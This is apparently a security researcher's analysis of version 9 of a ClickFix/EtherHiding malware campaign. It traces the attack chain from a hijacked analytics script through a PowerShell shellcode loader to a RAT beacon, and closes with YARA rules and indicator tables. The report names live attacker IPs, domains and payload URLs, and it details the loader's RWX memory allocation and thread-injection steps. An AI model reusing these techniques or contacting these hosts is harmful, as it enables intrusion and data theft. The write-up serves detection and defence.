Omegatech EtherHiding
ClickFix V9
A V8 infrastructure rotation introducing separated beacon/payload stages, aged AWS domain abuse, and a C# P/Invoke stub identical to V8 at the source level — confirmed via PS process memory dump. Full compromise in 26 seconds from first browser contact.
DNS changed
Reg. 2024-02-27
DNS changed
Reg. 2014-06-15 (aged)
campaign live
ANY.RUN ea5e5bd2
141.193.213.11<script src="//s.ksrndkehqnwntyxlhgto.com/137116.js" id="whatconverts-tracking-script-js">ksrndkehqnwntyxlhgto.com injected in <head> to pre-warm resolver before script tag loads1781121491 = 19:58:11 UTC)POST //process.iconnode.com/google-ads/ — silent C2 liveness beacon. No body. HTTP 200 sets yrejzpicqjfxoquxuuaw=true (beacon-confirmed flag). NEW in V9 — not present in V1–V8.POST //p.ksrndkehqnwntyxlhgto.com/verification/ — infection confirmation callback. Sends wc_profile_id=137116. Conditional on wc_verification cookie.phbqslixugkynefhnzol (beacon-sent) and yrejzpicqjfxoquxuuaw (beacon-confirmed)123340.js also observed on same infrastructure (separate lure site)178.16.53.137:443 (dntds.shop · OMEGATECH-AS AS202412 · Seychelles BPH)GET /teamrepo?rnd=<float> — cache-busting float param. Endpoint rotated from /jsrepo used in V7b. Same host, same ASN.navigator.clipboard / execCommand copy — user-assisted execution bypasses traditional security controlsWindowsPowerShell/5.1.19041.4046 executesGET http://91.92.240.121/ — bare IP, no TLS. Server: Apache/2.4.66 (Debian) · OMEGATECH-AS · Spamhaus DROP groups 14 + 31xlsZNpdJdwlmMh embedded as here-string. ALSO recovered from PS process memory dump at offset 0x006c7975$ydPyHgCTOK=URL · $qubnxYmvaK=WebRequest · $cdtctMBntzxi=raw_bytes · $RldCBOBdan=length · $kLUaYgtCb=alloc_ptr · $uiNEvuLJdSskH=thread_handle · $fqriSDP=thread_id0x1000 | 0x2000 = 0x3000 (MEM_COMMIT | MEM_RESERVE) · Protection: 0x40 = PAGE_EXECUTE_READWRITEWaitForSingleObject timeout: 30,000 ms (30 seconds)/debug- /optimize+ /warnaserror /optimize+ (double /optimize+ is a notable quirk)GET /x7GkP2mQ9zL4/student_l.bin → 53,323 bytes · First bytes: e8 c0 6d 00 (x86 CALL, no MZ header) = raw Donut shellcode. UA: WindowsPowerShell/5.1.19041.4046GET /x7GkP2mQ9zL4/student_s.bin → 308,736 bytes · Magic: 4d 5a 45 52 (MZ+ER) = MZER loader PE, matches V8 memdumps. UA: powershell (bare — different caller)_l = small Donut blob (53 KB) · _s = large MZER PE (309 KB). Inverted from intuition — ANY.RUN labels were misleading._l directly; Donut shellcode independently fetches _s with a different UA stringServer: Apache/2.4.52 (Ubuntu) · Last-Modified: 2026-06-03 · path prefix /x7GkP2mQ9zL4/ unchanged from V8Add-Type compiles class xlsZNpdJdwlmMh → zgxr4teh.dll dropped to %TEMP% via csc.exe + cvtres.exeVirtualAlloc(IntPtr.Zero, size, 0x3000, 0x40) → RWX page in powershell.exe · Marshal.Copy writes Donut blobCreateThread → Donut executes, reflectively loads MZER PE → injects into svchost.exe CDPUserSvc (PID 4456)DONUTLOADER (powershell.exe) · GENERIC (powershell + svchost)(a, sz, t, p, ta, ss, sa, cf, h, ms) identical to V8 flferzre stub. Memory dump confirms out uint tid — same as V8. No out-param mutation.zgxr4teh.dll carved from PS process memory dump (offset 0x00953fc0): PE32 x86 (0x014c) · 3 sections · .text only 1,140 bytes (minimal stub, zero padding) · EP RVA 0x246e · memory hash differs from on-disk (relocation applied at load)e8 c0 6d 00 resident in PS process memory: 5 hits (dump1) → 8 hits (dump2) — shellcode was actively executing between the two snapshotssvchost.exe (PID 4456) connects to 91.92.243.161:3038 · OMEGATECH-AS AS202412 · Seychelles BPH0x40 0x01 0x00 0x00 (328 bytes) → server 0x20 0x01 0x00 0x00 (292 bytes) · length-prefixed protocol91.92.240.121 stage-3 host)⚠ Aged Domain Abuse — 12-year dormant asset weaponised
process.iconnode.com was registered on 2014-06-15 and sat
dormant for over 12 years before its DNS was updated on 2026-05-16 at 02:14 UTC —
exactly 26 hours after ksrndkehqnwntyxlhgto.com was updated on
2026-05-15 at 03:40 UTC. The coordinated 24-hour prep window, combined with
an aged domain with a 95/100 reputation score, is textbook aged domain abuse:
the threat actor acquired or maintained the domain specifically to weaponise its trust score
at campaign launch, bypassing reputation-based blocklists entirely.
| Change | V8 | V9 |
|---|---|---|
| Stage architecture | Single injected script: beacon + overlay combined | Separated: JS beacon stage distinct from EtherHiding payload deliveryNEW |
| C2 beacon | None — no pre-delivery beacon in V1–V8 | process.iconnode.com/google-ads/ · silent POST · AWS aged domainNEW |
| EtherHiding endpoint | dntds.shop/jsrepo | dntds.shop/teamrepo · same host, rotated path |
| Lure site | penrosept.com (physio clinic) | williamhale.co.uk (CCTV business) |
| Tracker cover | Generic plugin injection | WhatConverts account 137116 cloned + re-hosted on AWS CDN. 95/100 reputation. |
| Multiple pools | Single lure per campaign | Accounts 137116 + 123340 both observed — parallel victim poolsNEW |
| Payload naming | V8 convention | student_l.bin (Donut 53 KB) + student_s.bin (MZER PE 309 KB) · labels inverted from intuition |
| C# stub out param | out uint tid | out uint tid — IDENTICAL. Memory dump confirmed. No out-param mutation in V9.CORRECTED |
| Staging server | 158.94.208.104 / /x7GkP2mQ9zL4/ | 158.94.208.104 / /x7GkP2mQ9zL4/ · unchanged |
| Tier-1 dev fingerprint | Abbreviated P/Invoke params (a, sz, t, p…) | Identical · same developer confirmed |
$ydPyHgCTOK (URL) · $qubnxYmvaK (WebRequest) · $cdtctMBntzxi (bytes) · $kLUaYgtCb (alloc ptr) · $uiNEvuLJdSskH (thread handle). Confirms VirtualAlloc(0x3000, 0x40=RWX), CreateThread, WaitForSingleObject(30s). csc.exe compile flags: /debug- /optimize+ /warnaserror /optimize+. Loader hashes: MD5 A18E3B928BBC92FC72090F1313944026 · SHA256 FFE7EEEF…FD21A56.student_l.bin = 53,323 bytes (raw x86 shellcode, first bytes e8 c0 6d 00 = CALL, no MZ header) · student_s.bin = 308,736 bytes (MZER PE, magic 4d 5a 45 52). _l = Donut blob, _s = shellcode-carrying PE. STIX bundle corrected accordingly.student_s.bin magic bytes 4d 5a 45 52 (MZ+ER) match the MZER loader signature identified in V8 memdump analysis. Same Tier-1 developer payload format reused across V8 and V9.student_l.bin fetched with UA WindowsPowerShell/5.1.19041.4046 (PS cradle). student_s.bin fetched with bare UA powershell — different process reaching back to staging server, confirming the Donut shellcode independently fetches the MZER PE.91.92.243.161:3038: client sends 40 01 00 00 (328 bytes), server responds 20 01 00 00 (292 bytes). Length-prefixed binary protocol. MSIL classification suggests .NET implant — consistent with CobaltStrike or Sliver beacon profile.out uint tid (4 hits each) — no out-param mutation between V8 and V9. The earlier tid→sid notation was incorrect and has been retracted. V8 and V9 stubs are source-identical at the P/Invoke level. YARA rule catches both on abbreviated param style alone; no condition adjustment needed.zgxr4teh.dll carved from process memory at offset 0x00953fc0 (dump-6a29c211). PE32 x86 · 3 sections · .text = 1,140 bytes (minimal stub, zero junk) · EP RVA 0x246e. Memory hash (6D02D3AB…) differs from on-disk (FEF8F43B…) due to relocation — both documented. Donut CALL bytes e8 c0 6d 00: 5 hits in dump1, 8 hits in dump2 — shellcode actively executing between snapshots.Matches the abbreviated P/Invoke parameter style that is the Tier-1 developer's coding fingerprint across V8 and V9. Process memory dump confirms both stubs use out uint tid — no out-param mutation between versions. Rule catches both on the abbreviation style alone.
rule SecureLeaf_Omegatech_CSharp_PInvoke_Loader_V8V9 { meta: = = = = strings: = "VirtualAlloc(IntPtr a, uint sz, uint t, uint p)" ascii = "CreateThread(IntPtr ta, uint ss, IntPtr sa, IntPtr p, uint cf" ascii = "WaitForSingleObject(IntPtr h, uint ms)" ascii = "System.Runtime.InteropServices" ascii = "kernel32.dll" ascii condition: $interop and $kernel and $valloc and $cthread and $wfso }
Detects the injected malicious prefix in hijacked WhatConverts or similar analytics scripts. The two random-named dedup guards (phbqslixugkynefhnzol, yrejzpicqjfxoquxuuaw) are unique to this campaign and extremely unlikely to appear in legitimate code.
rule SecureLeaf_Omegatech_V9_JS_Beacon { meta: = = = = strings: = "process.iconnode.com/google-ads/" ascii = "p.ksrndkehqnwntyxlhgto.com/verification/" ascii = "phbqslixugkynefhnzol" ascii = "yrejzpicqjfxoquxuuaw" ascii = "wc_profile_id" ascii condition: ($iconnode or $verif) and ($flag1 or $flag2) and $wc_id }
| Type | Value | Context |
|---|---|---|
| IP | 178.16.53.137 | dntds.shop — EtherHiding /teamrepo C2 (AS202412 SC) |
| IP | 91.92.240.121 | PS C2 / stage-3 loader (Spamhaus DROP 14+31 · AS202412) |
| IP | 91.92.243.161 | RAT C2 :3038 — MSIL/Generic (Spamhaus DROP 14 · AS202412) |
| IP | 158.94.208.104 | Staging — student_*.bin payloads (AS202412 · unchanged V8+V9) |
| Domain | process.iconnode.comNEW V9 | Silent C2 beacon · AWS aged domain (reg. 2014) · /google-ads/ |
| Domain | ksrndkehqnwntyxlhgto.com | Attacker CDN (AWS) — s. hijacked JS · p. exfil/beacon endpoints |
| Domain | dntds.shop | EtherHiding C2 (AS202412 · /teamrepo V9 · /jsrepo V7b) |
| URL | …/x7GkP2mQ9zL4/student_l.bin | Donut shellcode 53 KB · first bytes e8 c0 6d 00 (CALL, no MZ) |
| URL | …/x7GkP2mQ9zL4/student_s.bin | MZER PE 309 KB · magic 4d 5a 45 52 |
| URL | dntds.shop/teamrepo?rnd= | EtherHiding payload endpoint · ?rnd= float cache-busting |
| SHA256 | F833D774…C99244 | zgxr4teh.0.cs — V9 C# P/Invoke stub · memory-confirmed out uint tid (identical to V8) |
| SHA256 | FFE7EEEF…D21A56 | ps_loader_stage2.ps1 — 1,610-byte PS loader · recovered from PCAP + memory dump |
| SHA256 | 6D02D3AB…F4AD2 | zgxr4teh.dll mem-carved — PE32 x86 post-relocation · dump-6a29c211 offset 0x00953fc0 |
| SHA256 | 86C9D146…724E9 | 137116.js — hijacked WC beacon (57,362 bytes) |
| SHA256 | 0F34DB24…6449 | f_0002a6 — Brotli lure page cache (williamhale.co.uk) |